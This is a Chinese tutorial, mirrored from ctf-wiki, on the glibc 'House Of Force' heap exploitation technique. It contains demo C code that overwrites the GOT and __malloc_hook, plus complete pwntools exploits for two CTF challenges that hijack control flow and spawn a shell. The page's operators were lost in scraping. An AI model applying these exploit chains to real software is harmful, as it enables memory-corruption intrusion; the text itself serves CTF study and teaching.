)
文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载导读House Of ForceHOF是 ctf-wiki 堆利用专题中 House Of XXX 系列的核心技法之一它不依赖 unlink、fastbin 等具体 bin 机制而是利用 glibc ptmalloc2 分配器在所有空闲 chunk 都无法满足请求时从 top chunk 分割内存这一路径通过篡改 top chunk 的 size 域与申请尺寸把 top chunk 指针搬到任意目标地址从而实现 write-anything-anywhere。读完本文你将掌握 HOF 的完整原理、checked_request2size等关键宏的绕过方法、top chunk 指针缩小与增大两个方向的利用范式以及 HITCON training lab 11 与 2016 BCTF bcloud 两道真题的完整利用链。本文基于 house-of-force.md 展开并佐以仓库中 堆数据结构、申请内存块实现、堆溢出基础 与 unlink 基础操作 等文档的源码级细节。House Of XXX 系列与 House Of Force 的定位House Of Force 属于 House Of XXX 系列利用方法。House Of XXX 一词源于 2004 年发表的《The Malloc Maleficarum - Glibc Malloc Exploitation Techniques》该文针对 glibc 堆分配器提出了一系列利用手法。需要特别说明的是由于年代久远《The Malloc Maleficarum》中提出的大多数方法在今天已经不能直接奏效如今我们所讨论的 House Of XXX 利用与 2004 年原文中的写法已有较大差异。但该文依然是一篇值得推荐的背景读物其中关于绕过分配器内部校验实现任意写的思路至今仍有参考价值。与同一目录下的 unlink、fastbin-attack 等利用方式不同House Of Force 的出发点非常朴素它操作的是堆中最高处那块永不进入任何 bin 的特殊 chunk——top chunk。原理top chunk 的分割路径top chunk 是什么根据仓库 heap-structure.md 的介绍top chunk 是处于当前堆物理地址最高处的 chunk。它不属于任何一个 bin其作用在于当所有 bin 都无法满足用户请求的大小时如果 top chunk 的大小不小于指定大小就从它上面进行分配并将剩下的部分作为新的 top chunk否则就对堆进行扩展后再分配main arena 中通过 sbrk 扩展堆thread arena 中通过 mmap 分配新堆。/* glibc 对 top chunk 的官方注释节选 The top-most available chunk (i.e., the one bordering the end of available memory) is treated specially. It is never included in any bin, is used only if no other chunk is available, and is released back to the system if it is very large ... */此外top chunk 的prev_inuse比特位始终为 1否则其前面的 chunk 就会被合并进 top chunk。程序第一次 malloc 时heap 会被分为两块一块给用户剩下的那块就是 top chunk。从 top chunk 分配的核心代码根据仓库 implementation/malloc.md 中_int_malloc的use_top路径当所有 bin 都无法满足请求时分配器会执行如下逻辑use_top: // 获取当前的top chunk并计算其对应的大小 victim av-top; size chunksize(victim); // 如果在分割之后其大小仍然满足 chunk 的最小大小那么就可以直接进行分割。 if ((unsigned long) (size) (unsigned long) (nb MINSIZE)) { remainder_size size - nb; remainder chunk_at_offset(victim, nb); av-top remainder; set_head(victim, nb | PREV_INUSE | (av ! main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p chunk2mem(victim); alloc_perturb(p, bytes); return p; }其中nb是用户请求经checked_request2size规范化后的内部 chunk 大小。整个流程可拆解为三步取出当前av-top并计算其chunksize校验size nb MINSIZE即分割后剩余部分仍要构成一个合法最小 chunk通过chunk_at_offset(victim, nb)计算剩余块地址把av-top更新为remainder并为两块分别设置头部标记最后把victim的用户区指针返回。篡改 size 为 -1攻破唯一的校验上述代码中唯一拦路的是这个无符号比较(unsigned long) (size) (unsigned long) (nb MINSIZE)正常情况下nb MINSIZE不可能超过 top chunk 的真实大小因此分配是安全的。但如果攻击者能以溢出等方式控制 top chunk 的 size 域情况就完全不同了——把 size 改成 -1 即可。因为比较时 size 会被转换成无符号数-1在unsigned long中表示最大的数64 位下即0xffffffffffffffff所以无论如何都能通过验证。这就是为什么 HOF 的第一个前置条件是能够控制 top chunk 的 size 域。top 指针更新任意地址写的根源通过验证后分配器执行remainder chunk_at_offset(victim, nb); av-top remainder; /* Treat space at ptr offset as a chunk */ #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) (s)))chunk_at_offset的本质是p s的字节偏移计算。由于nb由用户可控remainder就可以是任意地址随后av-top被更新到该地址下一次 malloc 就会从这个位置切出 chunk。只要用户能控制分配尺寸就相当于实现了一次任意地址写任意值write-anything-anywhere。剩余大小的更新与二次分配约束需要注意top chunk 的 size 也会同步更新victim av-top; size chunksize(victim); remainder_size size - nb; set_head(remainder, remainder_size | PREV_INUSE);也就是说目标地址处会被写入一个新的 size 字段remainder_size | PREV_INUSE。如果希望下一次在指定位置分配大小为 x 的 chunk就必须确保remainder_size不小于x MINSIZE否则新 top chunk 无法再次通过size nb MINSIZE校验。这一点在实战中极其重要后面两道真题都会用到。利用条件小结从上面的原理可以归纳一个堆漏洞想要通过 House Of Force 利用需要同时满足能够以溢出等方式控制 top chunk 的 size 域能够自由地控制堆分配尺寸的大小包括分配负数大小的能力分配次数不能受限制通常需要至少 3 次分配才能完成改 size → 搬 top → 写目标。三条中第二条往往最难满足CTF 题目经常限制用户可分配堆块的大小上下限导致无法构造出搬移 top chunk 所需的巨大或负数尺寸。这一点在文末总结中还会再次强调。深入 malloc 请求尺寸的规范化checked_request2size在进入_int_malloc后用户请求的 bytes 会第一时间被转换为内部 chunk 大小nbvoid *__libc_malloc(size_t bytes) { // 用户申请的内存大小一旦进入申请函数就变成无符号整数 ... victim _int_malloc(ar_ptr, bytes); }__libc_malloc的形参是size_t bytes用户传入的负数会先被解释成巨大的无符号数。随后_int_malloc内部调用checked_request2size(bytes, nb)做规范化/* Check if a request is so large that it would wrap around zero when padded and aligned. To simplify some other code, the bound is made low enough so that adding MINSIZE will also not wrap around zero. */ #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) /* pad request bytes into a usable size -- internal version */ //MALLOC_ALIGN_MASK 2 * SIZE_SZ -1 #define request2size(req) \ (((req) SIZE_SZ MALLOC_ALIGN_MASK MINSIZE) \ ? MINSIZE \ : ((req) SIZE_SZ MALLOC_ALIGN_MASK) ~MALLOC_ALIGN_MASK) /* Same, except also perform argument check */ #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) request2size(req);这对 HOF 利用有两方面约束绕过REQUEST_OUT_OF_RANGE我们传给 malloc 的负数在无符号视角下必须小于-2 * MINSIZE所对应的值。由于MINSIZE在 64 位下是 0x2032 字节-2 * MINSIZE的绝对值并不大因此只要我们构造的负数绝对值不要超过2 * MINSIZE一般都能满足该检测。构造精确的nb我们需要request2size(req)恰好转换成期望的 chunk 尺寸即让((req) SIZE_SZ MALLOC_ALIGN_MASK) ~MALLOC_ALIGN_MASK恰好等于目标偏移。若目标偏移本身是 chunk 对齐的64 位下 16 字节对齐只需要减掉SIZE_SZ8即可因为多减的MALLOC_ALIGN_MASK最终还会在对齐操作中补回来。而如果目标偏移不是 MALLOC_ALIGN 的整数倍就需要多减一些。同时最好保证分配之后得到的 chunk 也是对齐的因为在释放 chunk 时分配器会进行对齐检查。关于request2size的详细语义包括 chunk 间复用 prev_size 字段的细节可参见仓库 heap-structure.md 与 heapoverflow-basic.md。简单示例 1缩小 top chunk 指针劫持 mallocgot.plt学习完原理之后先看一个最小示例。该示例的目标是通过 HOF 篡改mallocgot.plt实现程序流程劫持int main() { long *ptr,*ptr2; ptrmalloc(0x10); ptr(long *)(((long)ptr)24); *ptr-1; // 这里把top chunk的size域改为0xffffffffffffffff malloc(-4120); // 减小top chunk指针 malloc(0x10); // 分配块实现任意地址写 }第一步分配 0x10 并篡改 top chunk size首先分配一个 0x10 字节大小的块此时堆布局如下0x602000: 0x0000000000000000 0x0000000000000021 ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 top chunk 0x602030: 0x0000000000000000 0x0000000000000000ptr的 user data 从0x602010开始前 16 字节是 chunk header。代码把ptr加上 240x602000 0x18 0x602018即定位到 top chunk 的 size 域起始处top chunk 的prev_size在0x602018size在0x602020然后写入-1把 top chunk 的 size 改为0xffffffffffffffff。在真实题目中这一步通常通过堆溢出完成原理参见 堆溢出基础。0x602000: 0x0000000000000000 0x0000000000000021 ptr 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0xffffffffffffffff top chunk size域被更改 0x602030: 0x0000000000000000 0x0000000000000000因为 -1 在补码中就是0xffffffffffffffff所以直接赋值 -1 即可。注意此刻 top chunk 在 arena 中的记录0x7ffff7dd1b20 main_arena: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 main_arena16: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 main_arena32: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 main_arena48: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 main_arena64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 main_arena80: 0x0000000000000000 0x0000000000602020 top chunk此时一切正常 0x7ffff7dd1b80 main_arena96: 0x0000000000000000 0x00007ffff7dd1b78main_arena是 libc 数据段中的全局 malloc_state 结构详见 heap-structure.md其中top字段当前指向0x602020。第二步计算并执行 malloc(-4120)-4120是如何得出的首先明确要写入的目标地址编译该程序后mallocgot.plt位于0x6010200x601020: 0x00007ffff7a91130 mallocgot.plt我们希望把 top chunk 指向0x601010这样下一次分配 chunk 时用户区就落在0x601020可以改写 GOT 表项。当前 top chunk 位于0x602020因此偏移为0x601010 - 0x602020 -4112但传给 malloc 的不能直接是 -4112。回顾前面的request2size分析期望nb恰好为 -4112无符号视角下的0xffffffffffffeff0需要先减掉SIZE_SZ8与MALLOC_ALIGN_MASK15。由于 -4112 本身是 16 对齐的多减的MALLOC_ALIGN_MASK会被对齐运算补回因此只需减去SIZE_SZmalloc(-4112 - 8) malloc(-4120)执行malloc(-4120)后可以观察到 top chunk 被抬高到目标位置0x7ffff7dd1b20 main_arena: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 main_arena16: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 main_arena32: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 main_arena48: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 main_arena64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 main_arena80: 0x0000000000000000 0x0000000000601010 可以观察到top chunk被抬高 0x7ffff7dd1b80 main_arena96: 0x0000000000000000 0x00007ffff7dd1b78第三步在目标地址处分配 chunk之后再次malloc(0x10)分配的块就会出现在0x601010 0x10 0x601020处即正好覆盖mallocgot.plt实现 GOT 劫持。需要注意在 top chunk 被抬高的同时mallocgot附近的内容也会被修改因为分配器会执行set_head(victim, nb | PREV_INUSE | (av ! main_arena ? NON_MAIN_ARENA : 0));即目标地址处的前 16 字节会被写入 chunk header。因此在选择目标地址时必须把写入 header 造成的附带污染纳入考虑必要时让出前 0x10 字节这也是本例把 top chunk 指到0x601010而非0x601020的原因。简单示例 2增大 top chunk 指针写 __malloc_hook示例 1 展示了通过 HOF减小top chunk 指针修改其上方低地址GOT 表中的内容。HOF 同样可以增大top chunk 指针修改高地址空间的内容。示例 2 的目标是__malloc_hookint main() { long *ptr,*ptr2; ptrmalloc(0x10); ptr(long *)(((long)ptr)24); *ptr-1; 修改top chunk size malloc(140737345551056); 增大top chunk指针 malloc(0x10); }程序代码与示例 1 基本相同区别只在第二次 malloc 的尺寸。__malloc_hook是 libc.so 中的全局变量。首先查看内存布局Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/桌面/tst/t1 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/桌面/tst/t1 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/桌面/tst/t1 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw- 0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]可以看出 heap 基址在0x602000libc 基址在0x7ffff7a0d000该环境为 glibc 2.23。__malloc_hook位于 libc 数据段地址高于堆因此需要通过 HOF扩大top chunk 指针来实现写入。由调试得知__malloc_hook的地址位于0x7ffff7dd1b10计算如下0x7ffff7dd1b00 - 0x602020 - 0x10 140737345551056即把 top chunk 指到0x7ffff7dd1b00为 chunk header 让出 0x10 字节那么下一次分配的用户区正好落在0x7ffff7dd1b10。经过这次 malloc 之后top chunk 地址被抬高到0x00007ffff7dd1b000x7ffff7dd1b20 main_arena: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 main_arena16: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b40 main_arena32: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b50 main_arena48: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b60 main_arena64: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b70 main_arena80: 0x0000000000000000 0x00007ffff7dd1b00 top chunk 0x7ffff7dd1b80 main_arena96: 0x0000000000000000 0x00007ffff7dd1b78之后只要再次分配就可以控制0x7ffff7dd1b10处的__malloc_hook值rax 0x00007ffff7dd1b10 0x400562 main60 mov edi, 0x10 0x400567 main65 call 0x400410 mallocplt由于 glibc 在__libc_malloc入口处会先检查__malloc_hook是否被设置见 implementation/malloc.md覆写 hook 为one_gadget或system即可在下次调用 malloc 时获得控制流劫持。版本提示两个示例的地址布局均来自 glibc 2.23 环境。House Of Force 的可行性、符号地址与 main_arena 偏移都与 glibc 版本强相关实际做题时应先确认目标环境的 libc 版本并在本地调试对齐偏移。利用条件再审视通过观察上述两个简单示例会发现HOF 的利用要求其实相当苛刻首先需要存在漏洞使得用户能够控制 top chunk 的 size 域其次需要用户能自由控制 malloc 的分配大小尤其要能传负数/巨型无符号数第三分配的次数不能受限制。其中第二点往往是最难满足的CTF 题目中通常会给用户可分配堆块的大小设置最小值和最大值使得无法通过 HOF 的方法进行利用。实战一HITCON training lab 11bamboobox该题目属于 ctf-wiki 的配套练习源自 HITCON training本节基于原文档内容说明其利用思路并在关键处补充原理注释。基本信息➜ hitcontraning_lab11 git:(master) file bamboobox bamboobox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]595428ebf89c9bf7b914dd1d2501af50d47bbbe1, not stripped ➜ hitcontraning_lab11 git:(master) checksec bamboobox [*] /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_force/hitcontraning_lab11/bamboobox Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)该程序是一个 64 位动态链接程序开启了 Canary 与 NX未开 PIE 且为 Partial RELROGOT 可写为 HOF 提供了合适的土壤。基本功能需要注意的是程序开始时即申请了 0x10 的内存用来保存两个函数指针hello_message用于程序开始时输出goodbye_message用于程序结束时输出。程序的功能类似于一个盒子物品管理系统展示依次打印盒子里每一个物品的名字。添加根据用户输入的大小 v2 为每个物品申请内存作为名字存储空间。这里读取名字使用的是read函数读取长度参数就是用户输入的 v2而read的第三个参数是无符号整数——如果输入负数就可以读取任意长度。只需保证该数值满足REQUEST_OUT_OF_RANGE的约束即可因此这里存在任意长度堆溢出漏洞。第一次时往往较难直接利用因为初始堆的 top chunk 大小一般不会很大。修改根据给定索引与大小向指定索引的物品中读取指定长度的名字。长度同样由用户读入因此也存在任意长度堆溢出漏洞。删除将对应物品名字的大小置为 0并将对应 content 置为 NULL。此外由于该程序主要是演示程序内部有一个 magic 函数可以直接读取 flag。利用思路既然程序中有 magic 函数核心目标就是覆盖某个指针为 magic 函数的地址。由于程序起始时申请的内存保存了两个函数指针可以覆盖goodbye_message来控制程序退出时的执行流。具体思路如下添加物品利用堆溢出漏洞覆盖 top chunk 的大小为 -164 位最大值利用 house of force 技巧把 chunk 分配到堆的基地址附近覆盖goodbye_message为 magic 函数地址控制程序执行流。这里需要注意在触发 top chunk 转移到指定位置时所使用的大小应该合适以便于设置新的 top chunk 大小从而绕过下一次从 top chunk 分配时的检测——这正是前文剩余大小更新与二次分配约束一节的实战体现。完整 exp#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * r process(./bamboobox) context.log_level debug def additem(length, name): r.recvuntil(:) r.sendline(2) r.recvuntil(:) r.sendline(str(length)) r.recvuntil(:) r.sendline(name) def modify(idx, length, name): r.recvuntil(:) r.sendline(3) r.recvuntil(:) r.sendline(str(idx)) r.recvuntil(:) r.sendline(str(length)) r.recvuntil(:) r.sendline(name) def remove(idx): r.recvuntil(:) r.sendline(4) r.recvuntil(:) r.sendline(str(idx)) def show(): r.recvuntil(:) r.sendline(1) magic 0x400d49 # we must alloc enough size, so as to successfully alloc from fake topchunk additem(0x30, ddaa) # idx 0 payload 0x30 * a # idx 0s content payload a * 8 p64(0xffffffffffffffff) # top chunks prev_size and size # modify topchunks size to -1 modify(0, 0x41, payload) # top chunks offset to heap base offset_to_heap_base -(0x40 0x20) malloc_size offset_to_heap_base - 0x8 - 0xf #gdb.attach(r) additem(malloc_size, dada) additem(0x10, p64(magic) * 2) print r.recv() r.interactive()exp 的关键点解读第一次additem(0x30, ddaa)分配一个 size 为 0x30 的块为溢出覆盖 top chunk size 做准备payload先填充 idx 0 的 0x30 字节内容再以 8 字节a对齐到 top chunk 的prev_size位置最后用p64(0xffffffffffffffff)覆写 top chunk 的 size 域为 -1offset_to_heap_base -(0x40 0x20)是当前 top chunk 到堆基地址的偏移0x40 为 chunk 头 已分配块0x20 为对齐缓冲malloc_size offset_to_heap_base - 0x8 - 0xf对应前面分析的request2size反推公式减去SIZE_SZ与MALLOC_ALIGN_MASK使规范化后的nb恰好把 top chunk 搬到堆基地址最后一次additem(0x10, p64(magic) * 2)在堆基地址处分配覆写保存函数指针的内存区域让goodbye_message变成 magic 地址。当然这一题也可以使用 unlink 的方法来做unlink 的原理可参见仓库 implementation/basic.md 与 unlink。实战二2016 BCTF bcloudbcloud 是一道经典的 32 位 HOF 真题其漏洞点不在堆功能本身而藏在程序的初始化流程中。基本信息➜ 2016_bctf_bcloud git:(master) file bcloud bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped ➜ 2016_bctf_bcloud git:(master) checksec bcloud [*] /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/heap/example/house_of_force/2016_bctf_bcloud/bcloud Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)这是一个动态链接的 32 位程序开启了 Canary 与 NXPartial RELRO未开 PIE。基本功能程序是一个云笔记管理系统。初始化时设置用户的名字、组织、host然后提供五个功能新建 note根据用户输入 x 申请x 4的空间作为 note 大小展示 note展示功能本身并无实际作用编辑 note根据用户指定的 note 编辑对应内容删除 note删除对应 note同步 note标记所有 note 已经被同步。这五个功能本身没有发现明显漏洞重新审视程序后发现漏洞出现在初始化阶段。漏洞点一init_name 泄露堆地址unsigned int init_name() { char s; // [esp1Ch] [ebp-5Ch] char *tmp; // [esp5Ch] [ebp-1Ch] unsigned int v3; // [esp6Ch] [ebp-Ch] v3 __readgsdword(0x14u); memset(s, 0, 0x50u); puts(Input your name:); read_str(s, 64, \n); tmp (char *)malloc(0x40u); name tmp; strcpy(tmp, s); info(tmp); return __readgsdword(0x14u) ^ v3; }这里如果读入的名字恰好为 64 个字符那么当程序使用info函数输出对应字符串时由于strcpy不会在堆上写入终止符字符串在栈上以\x00结尾而strcpy拷贝时会写入输出会越过tmp块进入相邻的 chunk 头从而泄露堆的地址。漏洞点二init_org_host 覆盖 top chunkunsigned int init_org_host() { char s; // [esp1Ch] [ebp-9Ch] char *v2; // [esp5Ch] [ebp-5Ch] char v3; // [esp60h] [ebp-58h] char *v4; // [espA4h] [ebp-14h] unsigned int v5; // [espACh] [ebp-Ch] v5 __readgsdword(0x14u); memset(s, 0, 0x90u); puts(Org:); read_str(s, 64, 10); puts(Host:); read_str(v3, 64, 10); v4 (char *)malloc(0x40u); v2 (char *)malloc(0x40u); org v2; host v4; strcpy(v4, v3); strcpy(v2, s); puts(OKay! Enjoy:)); return __readgsdword(0x14u) ^ v5; }当读入组织时给定 64 字节会覆盖v2的低地址。同时可以得知v2是与 top chunk 相邻的 chunkmalloc(0x40)两次后第二块紧邻 top chunk且v2恰好与org相邻。由于 32 位程序中栈变量基本都会被使用v2所存储的内容几乎不太可能全是\x00所以当执行strcpy向v2中拷贝内容时很有可能会覆盖 top chunk——这就是漏洞所在strcpy遇\x00停止而堆上内容通常不含\x00导致拷贝长度失控。利用思路利用初始化名字处的漏洞泄漏堆的基地址利用 house of force 将 top chunk 分配至全局变量notesize - 80x0804B0A0再次申请内存时便返回notesize地址处的内存从而控制所有 note 的大小以及对应的地址指针notelist位于0x0804B120修改前三个 note 的大小为 16并修改其指针为freegot、atoigot、atoigot将freegot修改为putsplt利用伪造的 free 泄漏atoi地址计算 libc 基址再次修改另一个atoigot为system地址从而拿到 shell。完整 expfrom pwn import * context.terminal [gnome-terminal, -x, sh, -c] if args[DEBUG]: context.log_level debug context.binary ./bcloud bcloud ELF(./bcloud) if args[REMOTE]: p remote(127.0.0.1, 7777) else: p process(./bcloud) log.info(PID: str(proc.pidof(p)[0])) libc ELF(./libc.so.6) def offset_bin_main_arena(idx): word_bytes context.word_size / 8 offset 4 # lock offset 4 # flags offset word_bytes * 10 # offset fastbin offset word_bytes * 2 # top,last_remainder offset idx * 2 * word_bytes # idx offset - word_bytes * 2 # bin overlap return offset def exp(): # leak heap base p.sendafter(Input your name:\n, a * 64) p.recvuntil(Hey a * 64) # sub names chunk s header heap_base u32(p.recv(4)) - 8 log.success(heap_base: hex(heap_base)) p.sendafter(Org:\n, a * 64) p.sendlineafter(Host:\n, p32(0xffffffff)) # name,org,host, for each is (0x408) topchunk_addr heap_base (0x40 8) * 3 # make topchunk point to 0x0804B0A0-8 p.sendlineafter(option---, 1) notesize_addr 0x0804B0A0 notelist_addr 0x0804B120 targetaddr notesize_addr - 8 offset_target_top targetaddr - topchunk_addr # 4 for size_t, 7 for malloc_allign malloc_size offset_target_top - 4 - 7 # plus 4 because malloc(v2 4); p.sendlineafter(Input the length of the note content:\n, str(malloc_size - 4)) # most likely malloc_size-40... if malloc_size - 4 0: p.sendlineafter(Input the content:\n, ) #gdb.attach(p) # set notesize[0] notesize[1] notesize[2]16 # set notelist[0] freegot, notelist[1] notelist[2]atoigot p.sendlineafter(option---, 1) p.sendlineafter(Input the length of the note content:\n, str(1000)) payload p32(16) * 3 (notelist_addr - notesize_addr - 12) * a p32( bcloud.got[free]) p32(bcloud.got[atoi]) * 2 p.sendlineafter(Input the content:\n, payload) # overwrite freegot with putsplt p.sendlineafter(option---, 3) p.sendlineafter(Input the id:\n, str(0)) p.sendlineafter(Input the new content:\n, p32(bcloud.plt[puts])) # leak atoi addr by fake free p.sendlineafter(option---, 4) p.sendlineafter(Input the id:\n, str(1)) atoi_addr u32(p.recv(4)) libc_base atoi_addr - libc.symbols[atoi] system_addr libc_base libc.symbols[system] log.success(libc base addr: hex(libc_base)) # overwrite atoigot with system p.sendlineafter(option---, 3) p.sendlineafter(Input the id:\n, str(2)) p.sendlineafter(Input the new content:\n, p32(system_addr)) # get shell p.sendlineafter(option---, /bin/sh\x00) p.interactive() if __name__ __main__: exp()exp 的关键点解读泄漏堆基址时heap_base u32(p.recv(4)) - 8减去 8 是因为泄露出来的是下一块 chunk 的 headerprev_size起始处需回退到 chunk 头32 位下request2size的反推为malloc_size offset_target_top - 4 - 7SIZE_SZ 4MALLOC_ALIGN_MASK 7由于程序内部是malloc(v2 4)所以发送的数值还要再减 4payload p32(16) * 3 ...一次性布置 3 个 note 的 size 为 16并把notelist中前三个指针分别指向freegot、atoigot、atoigot通过删除 note 1触发伪造的freegot已被改为putsplt打印出atoigot处的真实地址从而完成 libc 基址计算最后把另一个atoigot覆写为system在同步/选项输入处传入/bin/sh\x00即可获得 shell。相关题目延伸除上述两道例题外House Of Force 还有更多经典题目可供练习2016 Boston Key Party CTF cookbook同样是利用 HOF 思路的 pwn 题目适合在掌握上述两道题后进一步巩固任意地址写的构造手法。练习时建议配合 gdb 逐步观察main_arena-top指针的变化如 exp 中注释掉的gdb.attach将改 size → 搬 top → 分配命中目标三步与本文原理一一对应。总结House Of Force 的精髓在于分配器从 top chunk 切块时只校验剩余大小是否足够而 top chunk 的新位置完全由用户可控的请求大小决定。篡改 top chunk 的 size 域为 -1 绕过大小校验后通过一次精心构造的 malloc 把av-top搬到目标地址附近下一次 malloc 即可在目标地址获得可写内存配合 GOT 覆写、__malloc_hook覆写或全局指针覆写即可控制程序执行流。同时也要清醒认识到它的局限性控制 top chunk size 的漏洞、无限制的分配尺寸、充足的分配次数三者缺一不可其中自由控制分配大小在 CTF 中往往被出题人用尺寸上下限封锁。阅读本文后建议回到仓库继续研读 申请内存块实现 中的use_top完整代码并结合 堆数据结构 中 top chunk 与malloc_state的结构定义从源码层面彻底理解这条任意地址写链路的每一个环节。赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF-Wiki 实战指南glibc ptmalloc2 Fastbin Attack 全解Double Free / House of Spirit / 任意分配CTF Wiki 实战指南glibc ptmalloc2 Fastbin Attack 全解Double Free / House of Spirit /文档网络安全教程House of Einherjar 深入解析滥用 free 后向合并实现任意地址 chunk 分配ctf-wiki 堆利用技术House of Einherjar 深入解析滥用 free 后向合并实现任意地址 chunk 分配ctf wiki 堆利用技术 House of Ein文档网络安全教程ctf-wiki 堆利用系列House Of Force 原理、chunk 尺寸计算与实战ctf wiki 堆利用系列House Of Force 原理、chunk 尺寸计算与实战 House Of Force下称 HOF是 glibc ptm文档网络安全教程上一篇SwiftWhisper错误处理与故障排除解决常见集成问题的完整指南下一篇OwlCarousel2 多语言支持实现navText属性国际化配置案例创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考